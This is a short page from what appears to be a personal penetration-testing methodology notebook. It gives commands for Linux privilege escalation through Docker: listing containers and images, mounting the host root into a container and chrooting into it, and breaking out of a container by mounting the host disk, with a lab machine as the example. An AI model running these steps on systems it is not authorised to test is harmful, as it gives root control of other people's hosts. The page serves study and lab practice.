> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/privilege-escalation/linux/docker.md).

# Docker

{% embed url="<https://github.com/tranquac/Linux-Privilege-Escalation#docker>" %}

{% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %}

{% embed url="<https://flast101.github.io/docker-privesc/>" %}

### Enumerate images and processes

```
docker ps 
docker images
```

Based on the running images we can now attempt to elevate privileges through them.

```
docker run -v /:/mnt --rm -it <imagees> chroot /mnt sh
```

### Breaking Out of Docker Env

Lets say for whatever reason Fabian, you seem to list and things aren't where they are supposed to be and if you run `ls -la` Youll notice that something doesnt seem right.

![](/files/cDKPB9mnoMcabeWsUbTs)

In the case of Sirol we were root in a docker environment.&#x20;

In order to break out we must first list the disks in the computer and then mount one to our own and we will be able to navigate to the filesystem.

`fdisk -l`

![](/files/se7pn3T73oHcIA3dqkYr)

This command as seen above lists the disk names and their paths. In order to break out we shall ran the following commands.&#x20;

```
mkdir /mnt/own
mount ##THIS CAN BE CHANGED/dev/sda1 ####/mnt/own
cd /mnt/own
```

Notice that in the code we gotta change accordingly which the lists of disks that are in the machine.

Once we execute those commadns we will have full control of the filesystem.

![](/files/IqfpQWst2Z3dZssMBJ4B)